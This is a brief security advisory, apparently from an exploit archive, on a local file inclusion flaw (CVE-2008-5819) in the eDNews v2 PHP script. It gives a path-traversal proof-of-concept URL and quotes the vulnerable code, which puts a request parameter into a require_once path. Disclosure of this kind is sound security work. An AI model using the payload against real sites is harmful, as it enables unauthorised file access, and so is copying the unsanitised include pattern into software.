eDNews v2 (lg) Local File Inclusion Vulnerability

2009.01.06

Credit: GoLd_M

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-5819

CWE: CWE-22

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

 _____ ____ __ __ _ ____ ____ ____
|_ _| | _ \ \ \ / / / \ / ___| / ___| / ___|
| | | |_) | \ V / / _ \ | | _ | | | |
| | | _ < | | / ___ \ | |_| | _ | |___ | |___
|_| |_| \_\ |_| /_/ \_\ \____| (_) \____| \____|
eDNews v2 (lg) Local File Inclusion Vulnerability
Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDNews_v2.zip
Poc : /eDNews_archive.php?lg=../../../../index
Vuln Code :
File eDNews_archive.php
require_once dirname( __FILE__ ).'/myConfig.php';<< 1
require_once dirname( __FILE__ ).'/languages/'.$CONFIG['language'].'.php'; << 2
File myConfig.php
if ( isset( $_REQUEST['lg'] ) ) {
$CONFIG['language'] = $_REQUEST['lg'];
____ _ _ __ __
/ ___| ___ | | __| | | \/ |
| | _ / _ \ | | / _` | | |\/| |
| |_| | | (_) | | |___ | (_| | | | | |
\____| \___/ |_____| \__,_| _____ |_| |_|
|_____|

References:

http://www.milw0rm.com/exploits/7603

http://secunia.com/advisories/33336

See this note in RAW Version

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eDNews v2 (lg) Local File Inclusion Vulnerability

References:

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